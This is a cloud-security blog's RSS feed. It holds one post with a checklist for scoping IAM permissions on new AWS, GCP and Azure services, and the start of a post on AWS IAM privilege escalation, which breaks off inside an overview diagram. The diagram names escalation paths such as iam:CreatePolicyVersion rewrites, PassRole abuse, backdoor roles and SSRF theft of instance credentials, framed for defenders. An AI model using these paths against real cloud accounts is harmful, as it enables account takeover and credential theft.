<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AWS IAM Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/aws-iam/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/aws-iam/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 05:16:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>AWS IAM Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/aws-iam/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>New Cloud Service IAM Permissions: A Checklist Before You Grant Access</title>
		<link>https://linuxcent.com/new-service-iam-permissions-checklist/</link>
					<comments>https://linuxcent.com/new-service-iam-permissions-checklist/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 05:16:54 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Access Analyzer]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Azure RBAC]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Least Privilege]]></category>
		<guid isPermaLink="false">https://linuxcent.com/new-service-iam-permissions-checklist/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span>New cloud service IAM permissions ship on GA day — this five-step AWS, GCP, and Azure checklist scopes them correctly before you grant broad access.</p>
<p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/zero-trust-iam/">← EP12: Zero Trust Access in the Cloud</a>  ·  <strong>EP13: New-Service IAM Checklist</strong>  ·  <a href="/cloud-iam-series/">All Cloud IAM Episodes →</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>New cloud service IAM permissions ship on GA day — often before your Terraform provider, internal IaC modules, or team wiki catch up</li>
<li>The fast path is <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code> — the tempting unblock, and also how wildcard debt starts (see <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a>)</li>
<li>Five-step checklist: find the exact actions, scope the resource, dry-run before granting, attach a guardrail, and put a 30-day review on the calendar</li>
<li>AWS has no single CLI call that lists &#8220;every action for a service&#8221; — use the Service Authorization Reference plus IAM Access Analyzer&#8217;s policy generation from real CloudTrail activity</li>
<li>GCP&#8217;s <code class="" data-line="">gcloud iam list-testable-permissions</code> returns the exact permissions grantable on a specific resource — scoped to what that resource type actually supports</li>
<li>Azure&#8217;s <code class="" data-line="">az provider operation show --namespace Microsoft.&lt;Service&gt;</code> lists every operation a resource provider exposes, before you write a single role assignment</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  NEW CLOUD SERVICE SHIPS — THE FIRST GRANT DECIDES THE NEXT YEAR

  Provider ships GA
         │
         ▼
  Team requests access ──────► Tempting shortcut: &quot;service:*&quot; on &quot;*&quot;
         │                      (unblocks today, becomes next year&#039;s
         │                       wildcard-debt line item in EP09&#039;s audit)
         ▼
  STEP 1 — Find the exact actions the task needs
         │   (Service Authorization Reference · list-testable-permissions ·
         │    provider operation show)
         ▼
  STEP 2 — Scope the resource, not the account
         │   (ARN pattern / resource URI / resource group — never &quot;*&quot;)
         ▼
  STEP 3 — Dry-run before granting
         │   (simulate-principal-policy · policy-troubleshoot iam · what-if)
         ▼
  STEP 4 — Attach a guardrail, not just a grant
         │   (permission boundary / SCP · Org Policy · Azure Policy)
         ▼
  STEP 5 — Put a 30-day review on the calendar
         │   (provisional access, not permanent — EP09&#039;s audit is the
         │    backstop for whatever step 5 misses)
         ▼
  Access granted: scoped, guarded, and time-boxed
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>New cloud service IAM permissions land the same day a provider ships something new — usually before your Terraform provider, your internal enablement docs, or anyone&#8217;s muscle memory has caught up. A team wants to use the new service today, and the fastest way to unblock them is a wildcard: <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code>. It works immediately. It also never gets revisited.</p>
<p>I&#8217;ve seen this pattern enough times across AWS, GCP, and Azure environments to stop treating it as a one-off mistake and start treating it as a predictable failure mode. Every cloud provider ships new services and new API actions on existing services continuously — thousands of changes a year across the big three. IAM has to keep up with all of it, and nobody&#8217;s tooling updates same-day. The gap between &#8220;the service exists&#8221; and &#8220;the least-privilege policy for it exists&#8221; is where every wildcard grant in your account was born.</p>
<p>This episode is the checklist I use to close that gap before it becomes <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> problem six months later.</p>
<hr />
<h2 id="why-this-keeps-happening">Why This Keeps Happening</h2>
<p>Cloud providers version their IAM action sets independently of their service launches. A service can go GA with its full action list, then add new actions for a feature shipped three months later — with no changelog most teams are subscribed to. Preview and beta services are worse: action names occasionally change between preview and GA, which means a policy scoped correctly during the beta can silently stop matching after the rename.</p>
<p>None of this is a documentation failure you can fix by reading more carefully. It&#8217;s a structural lag between provider release velocity and your policy review cycle. The fix isn&#8217;t reading faster — it&#8217;s having a checklist that runs the same way every time a new service shows up in a support ticket.</p>
<hr />
<h2 id="step-1-find-the-exact-actions-the-task-needs">Step 1: Find the Exact Actions the Task Needs</h2>
<h3 id="aws">AWS</h3>
<p>AWS doesn&#8217;t expose a single CLI call that lists &#8220;every action for this service.&#8221; The two real sources:</p>
<ol>
<li>The <a href="https://docs.aws.amazon.com/service-authorization/latest/reference/">Service Authorization Reference</a> — the canonical, per-service action/resource/condition-key list. Not a CLI, but the ground truth.</li>
<li>IAM Access Analyzer&#8217;s policy generation — build a least-privilege policy from what a role <em>actually called</em>, not from the full service action list:</li>
</ol>
<pre><code class="" data-line=""># Let a trial role use the new service for a short period first, then generate
# a policy scoped to only the actions that were actually invoked
aws accessanalyzer start-policy-generation \
  --policy-generation-details principalArn=arn:aws:iam::123456789012:role/new-service-trial-role \
  --cloud-trail-details &#039;{
    &quot;trails&quot;: [{&quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/management-trail&quot;, &quot;allRegions&quot;: true}],
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/AccessAnalyzerMonitorRole&quot;
  }&#039;

# Poll for the generated policy once the job completes
aws accessanalyzer get-generated-policy --job-id &lt;JOB_ID&gt;
</code></pre>
<blockquote>
<p><strong>For operators:</strong> this generates a policy from <em>observed</em> API calls, not theoretical need. Run the trial role for long enough to exercise every code path the team actually uses — a policy generated from five minutes of testing will be too narrow for production.</p>
</blockquote>
<h3 id="gcp">GCP</h3>
<pre><code class="" data-line=""># Returns the exact permissions that CAN be granted on this specific resource —
# scoped to what that resource type supports, not the whole service
gcloud iam list-testable-permissions \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1
</code></pre>
<p>Reading the output: each returned permission is one your team might plausibly need — GCP won&#8217;t list permissions that don&#8217;t apply to this resource type. Cross-reference against the task at hand and grant only the subset actually required.</p>
<h3 id="azure">Azure</h3>
<pre><code class="" data-line=""># Lists every operation (permission) a resource provider namespace exposes
az provider operation show \
  --namespace Microsoft.CognitiveServices \
  --query &quot;[].{Operation:name, Description:display.description}&quot; \
  -o table
</code></pre>
<p>This is the full menu for the namespace — most tasks need a handful of these operations, not all of them. Use it to find the exact operation string for a custom role definition rather than reaching for a built-in <code class="" data-line="">Contributor</code>-level role.</p>
<hr />
<h2 id="step-2-scope-the-resource-not-the-account">Step 2: Scope the Resource, Not the Account</h2>
<p>Finding the right action is half the job. The other half is refusing <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code>.</p>
<pre><code class="" data-line="">// Bad — every foundation model, in every region, forever
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;bedrock:*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}

// Better — scoped to the specific model family the team asked for
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;bedrock:InvokeModel&quot;],
  &quot;Resource&quot;: &quot;arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude*&quot;
}
</code></pre>
<p>The same discipline applies in GCP (bind the role to the specific project or resource, not the organization) and Azure (scope the role assignment to the resource group, not the subscription). A new service is the easiest moment to get this right — there&#8217;s no existing wildcard grant to &#8220;just extend.&#8221;</p>
<hr />
<h2 id="step-3-dry-run-before-you-grant">Step 3: Dry-Run Before You Grant</h2>
<p>Test the policy against the real action before it&#8217;s live.</p>
<pre><code class="" data-line=""># AWS: simulate whether a principal&#039;s policy allows a specific action on a specific resource
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/new-service-role \
  --action-names bedrock:InvokeModel \
  --resource-arns arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-v2
</code></pre>
<pre><code class="" data-line=""># GCP: Policy Troubleshooter — does this principal have this permission on this resource, and why (or why not)?
gcloud policy-troubleshoot iam \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1 \
  --principal-email=svc-new-service@my-project.iam.gserviceaccount.com \
  --permission=aiplatform.endpoints.predict
</code></pre>
<pre><code class="" data-line=""># Azure: preview what an IaC deployment (including role assignments) will change before applying it
az deployment group what-if \
  --resource-group rg-new-service \
  --template-file role-assignment.bicep
</code></pre>
<p>None of these grant access. All three tell you, before the grant is live, whether the policy you wrote actually does what you think it does.</p>
<hr />
<h2 id="step-4-attach-a-guardrail-not-just-a-grant">Step 4: Attach a Guardrail, Not Just a Grant</h2>
<p>A grant without a guardrail is one typo away from being an account-wide wildcard. Pair every new-service grant with a boundary that survives the next person copy-pasting the policy:</p>
<ul>
<li><strong>AWS</strong> — a permission boundary on the role, or an SCP restricting the new service to specific OUs until it&#8217;s been reviewed</li>
<li><strong>GCP</strong> — an Org Policy constraint limiting resource locations or restricting which services can be enabled in the first place</li>
<li><strong>Azure</strong> — an Azure Policy assignment enforcing an allowed-services list at the subscription or management group level</li>
</ul>
<p>The guardrail is what keeps &#8220;we scoped it correctly on day one&#8221; true after the policy gets copied into three other roles by someone who wasn&#8217;t in this conversation.</p>
<hr />
<h2 id="step-5-put-a-30-day-review-on-the-calendar">Step 5: Put a 30-Day Review on the Calendar</h2>
<p>Treat every new-service grant as provisional, not permanent. A calendar reminder — not a ticket that can sit in a backlog — to check actual usage against granted permissions 30 days out.</p>
<p>This is the same discipline <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> runs at the account level, applied at the moment of grant instead of six months later. Step 5 is what catches the case where the team&#8217;s actual usage turned out narrower than the trial period suggested — or wider, because the trial period didn&#8217;t exercise every path.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<table>
<thead>
<tr>
<th>Mistake</th>
<th>Impact</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Granting console-wide access &#8220;temporarily&#8221; while waiting for Terraform provider support</td>
<td>Temporary access outlives the wait — nobody revokes it once the provider resource ships</td>
<td>Time-box the console grant explicitly; automate its removal, don&#8217;t rely on memory</td>
</tr>
<tr>
<td>Scoping a policy to a preview/beta action name</td>
<td>Silent breakage (or worse, silent continued access via an old wildcard) when the action renames at GA</td>
<td>Re-verify the action name against the Service Authorization Reference at GA, not just at preview</td>
</tr>
<tr>
<td>Assuming a new service reuses an existing condition key</td>
<td>Policy conditions that &#8220;should&#8221; restrict access silently don&#8217;t apply, because the new service doesn&#8217;t support that key</td>
<td>Check the service&#8217;s supported condition keys before reusing an existing policy pattern</td>
</tr>
<tr>
<td>Trial period too short for Access Analyzer&#8217;s policy generation</td>
<td>Generated policy is too narrow; production breaks on day one under real load</td>
<td>Run the trial long enough to exercise every code path, including error and retry paths</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Task</th>
<th>AWS</th>
<th>GCP</th>
<th>Azure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Discover exact actions</td>
<td>Service Authorization Reference + <code class="" data-line="">accessanalyzer start-policy-generation</code></td>
<td><code class="" data-line="">gcloud iam list-testable-permissions &lt;resource&gt;</code></td>
<td><code class="" data-line="">az provider operation show --namespace &lt;Provider&gt;</code></td>
</tr>
<tr>
<td>Dry-run a grant</td>
<td><code class="" data-line="">aws iam simulate-principal-policy</code></td>
<td><code class="" data-line="">gcloud policy-troubleshoot iam</code></td>
<td><code class="" data-line="">az deployment group what-if</code></td>
</tr>
<tr>
<td>Guardrail</td>
<td>Permission boundary / SCP</td>
<td>Org Policy constraint</td>
<td>Azure Policy assignment</td>
</tr>
<tr>
<td>Recurring check</td>
<td><code class="" data-line="">aws accessanalyzer</code> unused-access findings</td>
<td>IAM Recommender</td>
<td>Access Reviews</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Control / ID</th>
<th>Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — IAM</td>
<td>Least privilege enforced at initial provisioning, not discovered later through audit</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Provisional access as a risk-acceptance decision with an explicit review date</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access rights defined and scoped to business need at the point of grant</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Review of access rights — extended here to newly granted permissions, not just standing ones</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Logical access controls restrict access to authorized users and processes from first grant</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Access is modified or revoked based on a defined review cadence</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>New cloud service IAM permissions ship on the provider&#8217;s schedule, not yours — the checklist has to run the same way every time, not only when someone remembers</li>
<li>The fast path (<code class="" data-line="">service:*</code> on <code class="" data-line="">*</code>) is also the path to next year&#8217;s wildcard-debt finding — scope it once, at the point of grant, instead of unwinding it later</li>
<li>AWS, GCP, and Azure each expose a different tool for discovering exact actions — none of them is &#8220;read the whole service&#8217;s docs and guess&#8221;</li>
<li>A grant without a guardrail (permission boundary, SCP, Org Policy, Azure Policy) is one copy-paste away from becoming account-wide</li>
<li>Provisional access needs an expiration built in from day one — a 30-day calendar review, not a hope that someone runs the audit eventually</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This series doesn&#8217;t have a fixed episode count anymore — new cloud service IAM permissions are a continuous stream across AWS, GCP, and Azure, and this series continues covering them as they matter operationally, not on a fixed syllabus.</p>
<p>Get the next Cloud IAM episode in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&#038;title=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" data-a2a-url="https://linuxcent.com/new-service-iam-permissions-checklist/" data-a2a-title="New Cloud Service IAM Permissions: A Checklist Before You Grant Access"></a></p><p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/new-service-iam-permissions-checklist/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2176</post-id>	</item>
		<item>
		<title>AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</title>
		<link>https://linuxcent.com/cloud-iam-privilege-escalation/</link>
					<comments>https://linuxcent.com/cloud-iam-privilege-escalation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 17 Apr 2026 18:42:16 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Cloud Pentesting]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Misconfiguration]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-iam-privilege-escalation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>How attackers escalate privileges in AWS, GCP, and Azure through IAM misconfigurations — iam:PassRole, actAs, roleAssignments/write — and how to block each path.</p>
<p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <strong>AWS IAM Privilege Escalation</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; the IAM configuration determines how far an attacker goes</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s single highest-risk permission — it lets any principal assign any role to any service they can create</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> is a one-call path to full account takeover — the attacker rewrites the policy that&#8217;s already attached to them</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">Microsoft.Authorization/roleAssignments/write</code> in Azure are direct equivalents — same threat model, different syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation in GCP; restrict role assignment scope in Azure</li>
<li>Alert on IAM mutations — they are low-volume, high-signal events that should never be silent</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  AWS IAM PRIVILEGE ESCALATION — HOW LIMITED ACCESS BECOMES FULL COMPROMISE

  Initial credential (exposed key, SSRF to IMDS, phished session)
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  DISCOVERY (read-only, often undetected)                        │
  │  get-caller-identity · list-attached-policies · get-policy     │
  │  Result: attacker maps their permission surface in &lt; 15 min    │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PRIVILEGE ESCALATION — pick one path that&#039;s open:             │
  │                                                                 │
  │  iam:CreatePolicyVersion  →  rewrite your own policy to *:*    │
  │  iam:PassRole + lambda    →  invoke code under AdminRole       │
  │  iam:CreateRole +                                              │
  │    iam:AttachRolePolicy   →  create and arm a backdoor role    │
  │  iam:UpdateAssumeRolePolicy → hijack an existing admin role    │
  │  SSRF → IMDS              →  steal instance role credentials   │
